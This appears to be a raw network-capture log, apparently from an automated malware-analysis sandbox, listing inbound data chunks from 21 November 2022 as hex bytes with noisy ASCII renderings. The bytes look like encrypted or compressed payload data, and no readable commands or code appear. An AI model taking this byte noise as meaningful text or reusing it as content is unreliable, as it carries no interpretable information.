2022-11-21 18:18:36 UTC	81	IN	Data Raw: d9 e4 fc 28 8b 5c bd b3 f4 4a d2 1e 7f 35 e9 8e ad 84 5c 64 d7 95 fa 69 c6 e5 02 0b 41 4f 88 e3 a4 d7 e5 fe e8 25 98 bc 84 73 5a 58 ec c8 9f d6 ce e3 08 64 eb 11 a7 8d a7 f5 29 49 b5 c7 4f 38 44 63 ea fc a4 78 4a d7 9c 98 55 38 15 88 72 c8 d6 85 d3 d9 16 93 26 c2 c5 3b a9 95 0d d5 28 c4 da 38 df e1 10 c3 28 2d a1 b0 cb 91 e9 c4 4a 52 65 9e 6a 0c 96 f7 a8 41 41 34 82 30 e6 e9 d5 dd 7e e1 94 10 b5 71 65 5d 71 b9 84 fd 20 b3 a3 d8 90 e7 f6 22 a4 86 b8 75 70 71 27 72 d3 7f f7 9d f6 5c 11 54 6a d8 1a c0 7a 49 d1 98 7f 27 c5 22 64 be 8a 99 2b 9d be 0f 8c 98 e3 c3 d7 95 05 7c 98 f8 4a 7b b9 3e 64 e4 3d 79 62 b2 cd d0 1a c0 c0 f7 52 9d 18 b1 b8 18 1f 91 7a 61 36 04 89 87 ea f6 0e 63 65 3f f8 7c 5b 41 f8 6f 67 1b ee 97 8d f5 b2 d6 bb 60 fc 50 c0 92 cc 03 5d 3e ba Data Ascii: (\J5\diAO%sZXd)IO8DcxJU8r&;(8(-JRejAA40~qe]q "upq'r\TjzI'"d+\|J{>d=ybRza6ce?\|[Aog`P]>
2022-11-21 18:18:36 UTC	83	IN	Data Raw: a2 da a4 4d b3 d8 e3 f9 6c fc b8 ef 00 79 34 a5 22 9d 93 d4 9c 0f 89 57 06 f8 20 ab 80 be 6e 2f 3d 35 e1 25 ec 9e b8 56 f9 06 ec d4 d9 b6 9d e5 1a 9d c6 5d b0 20 10 55 18 fd 20 ef fb 03 93 f6 eb 98 5a b7 7f 24 e2 43 c9 cc d9 79 94 24 aa bf b9 c4 c1 3a fd 9a cd 23 27 55 ad 90 5e 78 fa 62 15 6b fa 62 ab 2f 8c ae 3a 84 ba 1c 6f b9 ff 86 a8 e7 7f f4 6a 92 c8 b9 43 df 01 3c 7b 06 3b 68 cf f9 d1 ef 4f b1 65 11 21 5b 2e 52 87 71 bc b0 b8 bc db 1a 5c b9 13 1c 34 86 57 46 4b 1d c3 50 5e d3 12 b0 1f 8b 16 69 ac 12 a5 a4 7f a6 bb 65 7c 53 d4 2c 1d 67 fc 89 8f 82 bb c0 a8 51 22 12 bd 5e 5a f8 ed 54 9c 7f 99 78 ba 9b 93 ae d4 f8 c3 d7 72 61 11 5d df 49 ea e6 a4 48 d5 2b 5f 25 48 35 af 8b 55 91 16 b9 ae 53 13 7a b3 3f 77 a2 d8 63 84 ee f9 26 fc 79 40 01 c8 92 c4 08 a3 Data Ascii: Mly4"W n/=5%V] U Z$Cy$:#'U^xbkb/:ojC<{;hOe![.Rq\4WFKP^ie\|S,gQ"^ZTxra]IH+_%H5USz?wc&y@
2022-11-21 18:18:36 UTC	84	IN	Data Raw: ab 5c 92 d4 41 3d eb 96 52 e2 cf e2 c4 f4 08 e7 2c 24 a2 d0 be 70 77 4d 3c a7 21 35 d7 2e 4c f1 9c 82 5b dc a0 d0 5c 88 fa 4a 2a f3 ba 44 fa a1 99 63 81 aa c7 af 7e b6 12 8c 84 43 5f f6 05 e9 09 5d 69 b3 8d 1e dd 4e 15 81 ac 2d 3e f4 48 17 9e fc 59 18 c3 5f eb 98 22 52 f7 71 64 22 8e fe e2 af a8 22 e7 69 8f 65 a7 37 1d ae 34 8b 71 3c 23 e5 02 d3 2d af 85 e3 52 22 be 6d f6 7b a4 b4 5f 79 f5 a7 db c2 81 9e f4 b3 31 83 64 0a ff 5c 44 c6 01 cf 90 09 5f 73 37 bf b4 b7 4b b7 eb 2e 2c 25 0f b1 ef 6f 0f 1a 73 e2 39 16 17 4c af 29 8d 76 b6 cd 8f 8f e9 83 b8 fa 8d a6 ca 69 88 6b 3f 74 21 19 30 f6 0b 04 4e 92 e8 81 6e 81 fd 82 77 08 82 eb 96 99 18 7f 8a a6 86 63 d4 3a 3e 55 ec be d1 d7 0a 1e 5c ad de b3 72 29 ab 37 13 2e b7 35 d1 09 cd 6e ce 66 a6 f4 cc a3 7d 67 cf Data Ascii: \A=R,$pwM<!5.L[\J*Dc~C_]iN->HY_"Rqd""ie74q<#-R"m{_y1d\D_s7K.,%os9L)vik?t!0Nnwc:>U\r)7.5nf}g
2022-11-21 18:18:36 UTC	85	IN	Data Raw: d3 2a 97 2a 9b f6 2f 08 8d 43 c3 12 21 82 fd df d6 1e 6e ae f7 67 5d fb cc a0 5e 3c fb fb 71 df 4a 32 56 fd 1b a8 f6 bf 6d 4d 23 8b 98 6e ca 43 f3 30 36 65 e7 1e 84 ec eb e7 cc c1 08 b0 c0 26 f2 23 de a1 21 68 10 ce e8 a0 a2 ca 57 d7 b9 c2 a1 5f 0b 98 84 a4 96 22 90 35 27 b8 ad e5 ba 86 9b 6d f6 b0 25 b1 09 55 e1 a7 db e4 da b4 67 f4 a6 de 27 4b 52 a7 3c a4 4f 9e f5 02 35 3b 5c 1f e1 3c 79 a8 23 68 34 a5 57 0b 1d 67 e3 81 ff 9d a6 6c e3 4b fd 49 87 ab fd af 34 b0 7a 86 ac bc 68 48 3f 05 bc 29 d3 bb ae bc 33 1f c5 74 5e 9b cf 8c f3 d8 f9 cb c6 9a e4 b9 a3 60 ae 2a 15 2b 49 7d ce d7 81 25 e8 ef 99 24 b3 40 c3 e3 a9 17 fb 93 f0 b3 23 1c 89 d1 4a a8 e5 18 42 04 7a 9e 6f 08 42 4c 29 2d 50 23 d2 23 e0 ad a6 15 e7 9c d9 c6 95 34 88 90 43 bc 5a 54 b0 06 94 b9 bf Data Ascii: */C!ng]^<qJ2VmM#nC06e&#!hW_"5'm%Ug'KR<O5;\<y#h4WglKI4zhH?)3t^`+I}%$@#JBzoBL)-P##4CZT
2022-11-21 18:18:36 UTC	86	IN	Data Raw: da e1 25 67 cd bd 8e 69 c1 c0 ae 75 5a 11 e7 90 13 a6 5d 88 99 a2 c8 77 bc 2f bc 80 ba 29 33 2c 52 7a ca 88 d2 f1 f7 53 2d f3 61 f6 4d c1 69 a7 13 86 01 22 d0 e4 7f 09 83 3b 1b 95 45 9a e2 3e 11 69 69 43 9a 13 a4 a8 5e 73 12 5f f5 95 34 01 34 7a e3 91 85 e5 d0 03 37 3a 82 38 87 36 17 08 e9 95 ad e4 21 5a 8d 29 54 2b e8 55 64 3b 3b c6 37 25 29 13 00 c2 15 56 b8 e3 b8 e7 05 4c 43 62 82 f4 1d c0 00 65 2e 5a 2b 0d 32 42 47 14 38 63 7b 26 78 e0 e4 3d a4 85 7e f8 c0 3b b7 a9 14 a4 50 4d 1d f1 bb e1 5c 8c e5 58 60 e9 85 a6 da 9a d1 b3 c8 62 73 10 71 e7 11 c2 55 91 58 97 22 75 2f f3 7e 68 94 a7 56 0a 47 9f 4d d1 1a 2a ce 3f c0 5c 18 f3 b6 12 01 0a 5c fe b7 62 bf ec 50 c0 de 90 1a 65 44 7b 42 1b fa 6f fc 7c a2 42 b6 1c ee a6 dd 0e 95 32 be 36 41 c9 e8 34 89 5a 02 Data Ascii: %giuZ]w/)3,RzS-aMi";E>iiC^s_44z7:86!Z)T+Ud;;7%)VLCbe.Z+2BG8c{&x=~;PM\X`bsqUX"u/~hVGM*?\\bPeD{Bo\|B26A4Z
2022-11-21 18:18:36 UTC	88	IN	Data Raw: 41 0c 22 e9 bf 73 af e4 80 cb 5b d3 8b 5a b7 51 85 0e 28 8a 43 88 b9 ef 65 bb cd 22 4a eb af 92 a3 04 ce cd 15 59 71 5e 50 69 31 e3 bf 3f 56 98 ad 3a 46 8a 44 43 3a 4a 7c 1a 67 99 b4 98 7c 56 43 36 83 51 6c 31 5a ff f0 16 20 22 39 e9 a7 83 94 44 d5 92 8f c7 b5 7a 3d 57 de ea 9b 93 89 76 ec 8d 0e 95 ba fc ea 71 fc b0 0f 1a 45 a5 39 cd a6 6c 28 2f 5f b7 7e 09 8d c4 91 74 af f7 7a 0d 1e d7 41 ef c0 5a 0c c0 a1 d8 f1 02 04 1c aa f8 d7 38 64 bc 73 fe d5 9b 5d 3b 67 a7 a4 10 3c ee a7 bd c8 a2 33 4d 31 1a a1 08 8a e7 23 85 d0 5a 53 7e dc 1e df d6 ca b3 1c bc 8e 03 d3 7f 88 40 eb 20 80 46 00 93 43 8e 33 b4 f2 8d 26 be 35 b6 9a e1 4e 42 48 7e 8e cc 6a c5 23 bf 57 61 40 56 a2 b6 a2 5c 03 54 6b 10 a6 aa 1b cc 73 67 85 75 7b 93 b2 9a f3 44 7d 11 b4 a0 b1 db 68 9f dd Data Ascii: A"s[ZQ(Ce"JYq^Pi1?V:FDC:J\|g\|VC6Ql1Z "9Dz=WvqE9l(/_~tzAZ8ds];g<3M1#ZS~@ FC3&5NBH~j#Wa@V\Tksgu{D}h
2022-11-21 18:18:36 UTC	89	IN	Data Raw: ad 1b 93 ce cb 5a d5 66 0b b3 e5 68 c6 4f c1 78 dc 9d 04 e5 aa 87 c2 34 22 2f dc 2a 0c 48 1b e3 61 a7 a8 8e b1 f4 d5 a0 1b 6f b2 a4 a4 fc dd 63 34 b3 f9 c2 97 fa 2a f2 ca bf b7 ef 44 c6 ec 3a c9 c7 7f 28 6e 32 b6 ab 45 e0 b6 66 a7 6a 8c cf 3e 31 2d 5c 90 d2 dd 5c 21 2a 09 c0 58 ef a1 37 a7 72 86 8d 6e e6 b6 8e 29 12 93 57 ae dd 32 8e bd 7c 0e 59 2d 53 84 6a 05 67 54 b4 c0 96 51 5e c8 2b c1 a2 73 31 d0 a1 98 6c b2 34 90 46 90 44 50 10 00 83 8a 16 c9 7c 0d a4 71 d6 85 eb 48 9b cc 8b 96 05 f4 67 33 bd 4e 72 1a 55 1c 1a d5 60 06 25 f1 a4 59 af d2 61 d7 b4 e8 96 27 bc 45 d0 3b cc c2 af a9 7c 3f d6 d2 29 45 72 0a 24 cf af 79 22 80 cc 5d 8d 1c 14 1b fa 4c c8 e1 e4 09 16 eb f8 f3 26 a2 52 91 80 4f df c3 dd 8a 44 eb 95 2e f6 16 a8 66 8c d9 52 a0 85 ad 3a 3a c1 b5 Data Ascii: ZfhOx4"/Haoc4D:(n2Efj>1-\\!*X7rn)W2\|Y-SjgTQ^+s1l4FDP\|qHg3NrU`%Ya'E;\|?)Er$y"]L&ROD.fR::
2022-11-21 18:18:36 UTC	90	IN	Data Raw: f5 48 45 b5 7d 50 3c 3a 66 78 97 e8 c0 1a 94 df ed 13 2c 5e f0 85 dc 9e ff 5d 70 33 bc a5 38 79 4d 5f 6d 51 b2 3a a4 50 d8 ac 32 d7 aa 3c d6 2c 5b 3f 33 aa d3 ac af 6c bd 67 8f 46 84 9c 3f 30 78 d6 e4 e1 de 02 8b 8c a4 f7 17 44 d4 5c d0 89 d4 a3 8d 33 2d 8f f4 a1 89 2e ee 70 16 4a e6 9c fd da 4a 8e 7b 3f a1 77 a5 65 85 12 3d 8c a3 da 13 5f cf 95 80 d4 88 c2 ab 5f 7e b3 b9 66 05 b4 9b cb e1 14 aa 5c b5 1a 57 83 bb e1 55 de b3 87 57 38 19 65 8e c1 c9 94 3e f1 f2 2d d5 ac 37 be fa fd cd d8 ee 23 c6 ef 72 7d 1c b4 e0 f3 7e 22 40 ab 41 42 f2 ed 01 9d 4d 1b b9 c1 ae 38 31 1e f9 64 11 8d 80 6f a7 8d 66 92 d5 90 db e9 0b e4 21 fb 9c a8 a6 23 2c c1 b9 16 c3 e2 a9 8a db 9d 30 e4 74 75 5f 3a 4a 7d ee f3 86 90 6b 2d c0 42 0a 1c d0 4e 77 bf 2c 5c 5b db 6a be 16 76 3b Data Ascii: HE}P<:fx,^]p38yM_mQ:P2<,[?3lgF?0xD\3-.pJJ{?we=__~f\WUW8e>-7#r}~"@ABM81dof!#,0tu_:J}k-BNw,\[jv;
2022-11-21 18:18:36 UTC	91	IN	Data Raw: ac 06 db 2f 27 33 79 75 3e 5c 66 48 e1 c0 08 7f 7a 28 a7 29 36 df 8a 3d 5b ed 03 d1 a6 40 74 bd 4d a0 53 41 0b 50 5a 20 fe 69 8c ee 58 6f 2b 32 5e d1 74 ed 9c 2d 4a 9b c2 ac fb 66 31 fc 86 ea 16 68 c3 ec 5d f6 a4 c3 f0 f2 f0 93 44 0a e7 e6 16 de 17 0c 66 92 3f a8 0c c5 43 b1 ed 7b d2 73 af ac 17 22 58 d3 35 d3 41 3a b2 cf 0c d2 14 47 6c 13 54 06 1e 46 06 d1 a9 b5 3c 40 f3 2a c6 77 a2 5a 50 a0 a8 8b 9a 62 b1 df 89 1b 60 2d ab 25 b6 85 97 34 70 fb af bb 6b 16 40 04 e9 55 ba ec 1b bb 69 8e 51 91 4a 3a 08 b1 c8 a6 9f 3c a5 40 72 db 9e 67 62 5c 4a e8 90 36 c4 16 16 af 0a bd 7a fb 1e e0 9c 7d 77 22 41 ca ba 89 61 b4 e0 64 c3 03 31 9d f9 60 57 8b 55 88 36 ab 08 fc ac 48 7a f4 61 80 a3 c9 b1 41 a2 6f 09 a9 e8 d4 d1 a3 67 b2 b6 64 ea 71 51 fb 6d eb fa f2 6a 36 c0 Data Ascii: /'3yu>\fHz()6=[@tMSAPZ iXo+2^t-Jf1h]Df?C{s"X5A:GlTF<@*wZPb`-%4pk@UiQJ:<@rgb\J6z}w"Aad1`WU6HzaAogdqQmj6
2022-11-21 18:18:36 UTC	92	IN	Data Raw: 03 5a 2d 77 19 93 e3 8c d2 86 f2 f6 44 6d 54 9b f9 6c b6 e7 99 b1 16 70 f1 ee d4 88 0d c3 7a 15 f1 3b 14 f7 34 e9 5c cb f8 a3 bf f7 68 01 25 23 8a d1 2b 99 bd ca b3 5d 9a ad dd 07 80 e8 f9 90 90 60 0d d2 7f de e4 6c db a1 42 b1 dd 47 30 de f2 bc 50 1f 38 f4 e0 d6 35 5d 6e 5b 27 c4 ee 89 ad 62 c2 a3 4d 7d 7c e2 d9 ab cd ae 91 a5 82 f0 e8 13 19 ab f7 95 e4 02 84 27 0f 43 2a a1 af e6 76 c5 fd 84 fc 22 c5 5c 8e da e8 ef 92 84 4c bb 04 99 6f c1 26 a8 28 75 35 40 88 54 f0 0b 8c d1 a2 e5 b4 82 71 b4 ac a3 2a 00 10 e6 b4 26 d8 de 93 2d 17 64 43 26 32 d1 6a d9 c0 71 5d fc c7 89 03 d7 9a 77 ed f2 93 c2 60 68 03 bf 9e df 71 27 3c 3d fc c2 e7 64 fc df 91 f3 61 c6 c7 c8 b2 e4 67 c4 4d 3c 06 28 6a 3c 76 5f c4 73 8d 31 cd e0 de a0 94 01 85 44 22 2d d9 d8 91 43 b2 b4 a9 Data Ascii: Z-wDmTlpz;4\h%#+]`lBG0P85]n['bM}\|'Cv"\Lo&(u5@Tq&-dC&2jq]w`hq'<=dagM<(j<v_s1D"-C
2022-11-21 18:18:36 UTC	94	IN	Data Raw: dd d1 eb 19 e2 cd 29 ec ea 24 0d a5 98 b8 50 76 47 8f e7 f9 61 e3 38 09 6c ac 4a 70 da c3 a9 85 90 39 0a 5b bd bf d3 9b a7 1b 29 e1 a6 15 6f 84 c8 b0 8f a2 6d 50 ac b5 3e f7 8c 26 60 01 84 34 6c 12 6d 73 96 54 28 59 ca a5 43 0b ed 09 c6 be 25 e0 b7 40 9a dd 82 77 a7 44 db 4a c4 25 1e 7b cf dd 62 34 0e a7 29 08 23 7f 78 25 9f a4 d9 eb 98 8d 3a 7d fd d9 68 a1 97 b9 05 f1 ca b9 76 bd 44 72 27 d6 6a f2 8c d2 d8 a1 49 a0 d9 bb 37 9d 33 60 ef 92 9a 49 82 96 58 3b 30 0c 50 5f b9 aa e5 3b 44 bb 14 0f 3d e5 78 02 d0 af 16 b4 c1 fd 4e 99 0e e7 2b 76 c6 78 5a 20 17 29 0d e3 4e e6 0c 7b 35 ee c4 d6 4c dc 30 0f 19 cb b9 84 22 1e a3 db 1c 32 ba ca 83 73 25 a1 9a 63 1d 94 b0 93 9a 4a 73 5e 78 c9 e3 ad 9d 7f 0a aa 1c a6 d1 fb f4 ae 54 45 2b 91 5b 11 60 15 a3 c8 aa 2d 36 Data Ascii: )$PvGa8lJp9[)omP>&`4lmsT(YC%@wDJ%{b4)#x%:}hvDr'jI73`IX;0P_;D=xN+vxZ )N{5L0"2s%cJs^xTE+[`-6
2022-11-21 18:18:36 UTC	95	IN	Data Raw: 8b 1f a5 4f 96 62 76 9e 6d 57 a8 8c ff 76 a3 b5 a1 f5 f9 41 e4 93 af b2 ef 29 24 88 1a 37 88 fb 0a 44 66 23 88 60 b0 4b 5e 28 02 9b d6 2c c1 8c a2 95 e7 b3 7c 7c 12 5e db d7 de a6 aa fe 42 7f 14 ee ad 90 97 be 61 39 36 5a 51 43 1a b5 2f ae 88 64 47 9e 64 f9 11 07 d6 61 c0 6a 79 56 10 d8 73 0b f9 99 c1 70 84 cc c6 05 72 ce 9c 8d 56 0a a8 ea ec 4b 58 f4 30 16 bd 82 36 dd ef 3a d3 51 5e aa c6 f9 1f 92 80 7c ce 96 66 5f 4e 03 1e 32 1a 54 93 c4 9a aa fd 9c d8 40 8c 06 f6 3f 6f 17 74 cc 83 fc ca 9b 89 f5 9b f9 19 e4 6e e2 60 d5 f0 6a 80 14 95 6e 91 94 7b e7 11 47 20 0c eb 29 b8 51 80 d0 7a aa 4a a3 3c dd ac 47 11 c1 30 8d e1 98 06 c6 1f a4 ce 0c 89 ca 51 be 7d 54 20 06 12 8e 1d cf d1 db 99 37 2c 6b f9 eb 24 82 8c ba 9a 30 45 c9 13 dc d1 ca ea df ed 63 75 c3 61 Data Ascii: ObvmWvA)$7Df#`K^(,\|\|^Ba96ZQC/dGdajyVsprVKX06:Q^\|f_N2T@?otn`jn{G )QzJ<G0Q}T 7,k$0Ecua
2022-11-21 18:18:36 UTC	96	IN	Data Raw: e1 13 f3 17 80 9d 68 a4 42 73 bd 08 05 f7 9b 5d 36 9c 20 0d b9 17 d4 fe 9e 66 db 68 3c 8e 8b ad 3b dc 71 62 d7 7a 76 ee 44 1e 76 69 a0 ee 62 1c 9b e6 9c b1 5a 9c 58 89 21 e7 40 e9 09 40 c6 6f e5 c3 5b 7f e1 17 29 39 cb 9d b9 09 32 ed 7c 4b 58 d8 0f 68 ff 20 64 0a 01 c6 47 7d fc 9a 97 13 2c 6f 03 82 d8 c2 4e d3 24 33 e9 3a 9c 03 c4 a7 bb 25 e0 04 ab 9f 5d 46 cc 10 97 b2 d3 b3 28 32 8a 3c a0 ba 46 be b7 83 df b9 c0 cf 95 ae 67 b8 88 ab bb 4f 9e c3 16 4b 62 42 cd ea e4 59 ac 3c 4b cc 78 ed 3f 7b 9c 49 81 23 c9 9c 5d 40 af ad 2a 1e 8c d8 2f c2 1f c0 be f4 8d d8 80 7c 17 4b d7 0a 73 fa 4e 3f eb c7 82 3e 0e 0e 88 a1 b8 94 b4 5a 71 a1 d4 d0 b0 54 3b 58 62 a1 40 49 0e 8e 4d 34 c8 a5 10 31 af 55 1c 10 17 23 c6 18 fa 42 5d 83 25 9e 65 db 7b dc a3 1d b9 65 54 0e 70 Data Ascii: hBs]6 fh<;qbzvDvibZX!@@o[)92\|KXh dG},oN$3:%]F(2<FgOKbBY<Kx?{I#]@*/\|KsN?>ZqT;Xb@IM41U#B]%e{eTp
2022-11-21 18:18:36 UTC	97	IN	Data Raw: 0e ff e5 fe 07 a9 8f 3c db e8 e5 2f 77 e4 35 91 1d ac 2f 13 98 2e b6 3e 04 de 89 18 89 9f 7c a5 ed 9d f6 ee c0 9f 6d e4 40 bf 26 57 6a c9 3a 16 3c 08 1e 55 c3 5c ef 95 a7 3a db 07 9b 66 91 30 53 32 fc 31 d0 6c ff 86 57 6d 6a 88 53 e9 2b 27 e6 ba d4 28 de 3e e2 40 d6 f2 a7 93 38 83 be 52 f2 ec 9d 44 5e 1d bb e3 e4 59 ad bc Data Ascii: </w5/.>\|m@&Wj:<U\:f0S21lWmjS+'(>@8RD^Y
2022-11-21 18:18:36 UTC	97	IN	Data Raw: 17 bd 4f 59 15 29 4a c9 ef c6 79 b9 47 e8 72 58 ee fb d4 ec 1b 30 b3 ed cb 0f 5d d6 07 22 62 2e 4d 36 09 5b cd 85 92 d4 da c4 8c 3b 6a b2 dc a6 7b 2d 23 08 1e e5 26 90 78 b4 33 bb e3 6c 62 d7 7e be 21 66 70 b6 15 1b e4 e8 ea a8 cc 33 00 ee 3c 95 4d 10 3a 7f de 26 72 4b 29 69 01 7e 0c b6 94 3a eb 42 94 ff 01 65 f1 31 3e f3 30 79 f5 17 a9 52 39 68 a0 0d e8 62 e6 6c 64 11 cd 72 c3 16 ab 6f ee a4 9d aa cc 4b 47 c5 e7 29 3b 4b f5 0b 66 27 f4 fe 7b 04 6f c8 a1 b1 c6 05 8f ac ad 14 bb 5d 2b 2d 3d 70 f4 63 c5 9f c0 bb 5d e5 ad 08 a3 3e 4f b9 b8 47 ca 69 05 d6 70 f7 31 01 99 1f cc bd e4 1c a7 83 5f cd 38 40 20 51 be 6e 90 6f 12 6c 38 25 b0 53 56 fe ee 30 f3 13 e7 9b 9d 44 b9 81 9e 32 e2 81 bd ba 2f 9d b7 c5 72 a5 b5 f5 9c de e4 f0 03 da 77 55 32 ff 44 2c da 07 0f Data Ascii: OY)JyGrX0]"b.M6[;j{-#&x3lb~!fp3<M:&rK)i~:Be1>0yR9hbldroKG);Kf'{o]+-=pc]>OGip1_8@ Qnol8%SV0D2/rwU2D,
2022-11-21 18:18:36 UTC	99	IN	Data Raw: 4b 26 04 39 dd 5f 89 2a ca f7 55 6f fc 52 54 6b ff ab 91 41 9e 80 09 81 6f 58 32 b5 67 3d c4 47 ac bd c0 21 ac 4f 03 00 72 19 f0 b0 81 6c 9e 53 6e 47 3e 2b a2 51 c1 87 6e 6b 83 e6 78 d0 a6 6b 9a 79 da c4 8a da b0 d6 e5 72 3c 57 da 0b da 89 a3 79 e0 24 13 c7 c9 17 7a 0c 0f 6b 38 73 fc 97 84 a7 cd 41 4e 67 85 fa fb 35 5d 7c 25 eb 7d 3a 16 bd bc c3 09 95 64 2d 8d eb 1e a1 6d 8e 26 0a 6e e1 de cd 9f 47 1f 31 48 3c aa 48 29 87 b5 04 96 a7 e9 c5 ff 4f 1d 9d 3a 0b e0 33 7a 26 0d d9 3f 3d 5a 39 58 25 97 01 7c 14 9a a1 1c b8 68 cb bd 9f 80 be 0c 6a 42 cb d3 79 ff ed 44 c3 64 cf d6 96 6c 0f 6b a6 53 70 72 79 d4 00 6b 51 db ef 43 75 87 e2 96 5a 2c b2 35 04 5f e7 a6 06 a1 6b 04 e8 33 6c d2 1f 00 62 5e 2d a5 2c 26 ab 95 82 4b fd c0 b4 76 df 1e fe 98 3a 74 64 f8 d5 9c Data Ascii: K&9_*UoRTkAoX2g=G!OrlSnG>+Qnkxkyr<Wy$zk8sANg5]\|%}:d-m&nG1H<H)O:3z&?=Z9X%\|hjByDdlkSprykQCuZ,5_k3lb^-,&Kv:td
2022-11-21 18:18:36 UTC	100	IN	Data Raw: dd bd 18 e2 05 ee 8a c4 7e c5 34 74 5a 5b d3 9f e3 5b f8 f0 12 c5 2e db c6 fc 8f 4e 0c 4e 58 fb a0 54 00 06 d9 28 72 7d 0b 9f 79 d3 df 7a 7c 6f 43 a8 78 80 42 9e 06 34 66 4d 59 46 7c eb c8 2d 4d f8 a6 06 35 4c f0 b6 83 33 81 db 36 88 a8 1b be 13 9a 4b b9 32 b4 9b 4a a1 16 13 e4 c1 25 0a c5 4c 94 da 4d 49 57 c5 44 f4 af 20 68 83 65 55 95 41 7a 87 c4 80 a1 b1 ab 4c 00 96 86 03 8a 0a a5 22 7f 0d 54 69 c5 ce d8 3d e7 b7 25 40 60 a5 59 a8 d6 2c 01 3b 77 81 5a a7 0a 4c 22 b7 68 81 02 7c 1a 42 15 dd e2 15 f3 4b 05 61 b3 a7 d2 4b 94 4c 7d 92 28 12 e4 3d cd ed f8 f7 cb 30 b4 3c a9 0e fe 93 20 b6 40 30 b0 65 da 30 58 cf 45 e5 ee ac 94 73 4c 03 6a fd 47 06 51 1b 24 90 3b 22 8b df 2e d8 b3 28 5b 08 f7 8f fc 4b c3 5a 2b 8f 34 ef 86 09 bf 76 78 fb 7d bc cc da 60 e3 60 Data Ascii: ~4tZ[[.NNXT(r}yz\|oCxB4fMYF\|-M5L36K2J%LMIWD heUAzL"Ti=%@`Y,;wZL"h\|BKaKL}(=0< @0e0XEsLjGQ$;".([KZ+4vx}``
2022-11-21 18:18:36 UTC	101	IN	Data Raw: 41 7c b7 1a e4 2c 09 23 b3 61 6a 7a 25 84 26 53 05 2b 24 49 a0 11 b9 6e 56 a0 1c ee 39 c7 21 54 c3 4a 41 25 85 2b fe 2d 2d 45 ae 2a cb f2 b4 ff 90 f1 61 d6 89 18 af 4d ef 13 11 cb b3 2a 2f 3e 15 0a 29 c1 aa 78 4e a6 ab 16 13 88 45 d5 05 32 c5 aa 6a 73 7e 3a b9 fb e5 b6 4e f4 f6 12 2e d3 c5 22 f4 cd 86 5f 42 9f b7 93 73 77 96 69 a2 fd d4 ac e1 d1 df bf db 97 07 c6 ad 44 95 fe 88 a2 5f ec 8c 5d f5 a3 0d 2b 62 da 1c 84 38 a2 f3 68 4b 11 a8 e7 f3 fa ed 85 a4 fb c0 04 fe f0 29 81 07 aa 20 d0 87 5b 4d e6 d8 b1 28 40 9f 0a a5 65 07 fa 9d 5b 0a a7 bd d2 11 c9 87 28 ec f1 55 ff 48 dc 53 ab 3c 12 41 74 22 f9 14 09 3b cd b6 bb c1 1c 72 96 c8 3f a4 66 e8 a4 09 b2 84 81 8b 0c 3a 1a ce 24 b3 9b a6 73 89 a5 2e 1f 91 a1 33 fe a0 45 73 14 07 05 2e 46 f5 22 0a 8e d2 4b cf Data Ascii: A\|,#ajz%&S+$InV9!TJA%+--EaM/>)xNE2js~:N."_BswiD_]+b8hK) [M(@e[(UHS<At";r?f:$s.3Es.F"K
2022-11-21 18:18:36 UTC	102	IN	Data Raw: 53 b2 74 e5 79 bb 0d a4 56 58 02 15 af b6 56 63 15 ef 92 0f 12 e3 a9 8b 75 a1 09 b3 15 bc 79 35 13 c0 ec dd 1f 78 a6 82 9b 7c 6a 2d d3 09 eb 08 3f e4 9a 2c 1f 16 12 6f 61 f8 9e 46 f0 e3 33 48 d3 47 49 3f 4f 76 bd 03 68 f2 bf 36 73 e3 30 0d 06 96 9a 0c 3f 29 aa a7 4b b5 8f 73 39 db 73 67 8c 31 75 21 88 4b 84 40 fb 44 9a fa f6 19 90 7d 77 35 0a 71 0d 12 0b b3 21 01 88 f9 32 49 3f 02 6e ef d7 31 f3 42 80 a9 44 09 69 e8 41 a8 20 60 13 91 67 1e 28 b0 e5 d7 2f 89 27 7e 2a d2 3a 8c 28 3b e8 41 81 f8 1c 94 46 95 3d 3c 96 4d 24 c1 7f 28 b6 8b 90 1d 5d 03 0f fe 40 9b 3f 4f 88 21 4c f7 2d 2d 13 2a 89 30 cb 07 fe 1f fe 8b 5c 4f dc 78 e1 08 37 fb 38 95 66 c3 9a d1 c9 b2 35 6b 20 1a ed dc a4 29 fd 99 08 4d 78 67 20 bb 6a 38 9e 27 cb db 80 c4 56 99 33 67 07 1d df 8d 76 Data Ascii: StyVXVcuy5x\|j-?,oaF3HGI?Ovh6s0?)Ks9sg1u!K@D}w5q!2I?n1BDiA `g(/'~:(;AF=<M$(]@?O!L--0\Ox78f5k )Mxg j8'V3gv
2022-11-21 18:18:36 UTC	104	IN	Data Raw: 90 12 a2 4c 7a be 18 26 e1 23 26 c7 15 ba 42 e4 28 79 9a 0b 67 9a 78 6e 56 f8 d4 02 73 fd ea a4 ac 05 4e 6b bf 7a 5a 35 a2 cd 8b 8a 17 cf de 7a 99 1a 9c 7e ec 89 47 47 cc 87 f4 d8 3a f8 6c 93 f2 2b 89 5d 34 42 cf d4 81 69 1b 9f 2a 9e bf fb ae d6 6c 3f 49 47 eb ac f6 48 93 9a a8 f5 fe e0 53 56 e5 bc 56 47 18 8f 68 91 47 06 75 3f 37 0c 0a 8f 63 df 24 ed 30 f1 04 fd 34 f5 c0 87 17 6d 1f 0c 9c fc 9f 2e e1 72 0d e6 36 bd 62 94 50 a8 53 26 b0 b9 85 da a4 d8 36 ef d2 2c 66 ed 25 73 51 df fe 0c 14 41 31 4b 81 e3 b2 ae c5 f7 d7 a1 de 29 9d 3b 92 cc 6e 9b 98 2f 80 48 4c 09 de 52 b5 15 53 1c 4b ff e9 c4 bd 7a 77 16 17 a2 eb f6 32 37 f4 83 f8 80 ab dc 1c 75 d8 6a bd 6f 75 de 74 4b 6a bf fd ad 48 be 2c e8 32 e1 b3 8b 5f 47 dd 9b 0f 10 ae 5b f2 f0 43 3c 6f f7 fd 41 84 Data Ascii: Lz&#&B(ygxnVsNkzZ5z~GG:l+]4Bi*l?IGHSVVGhGu?7c$04m.r6bPS&6,f%sQA1K);n/HLRSKzw27ujoutKjH,2_G[C<oA
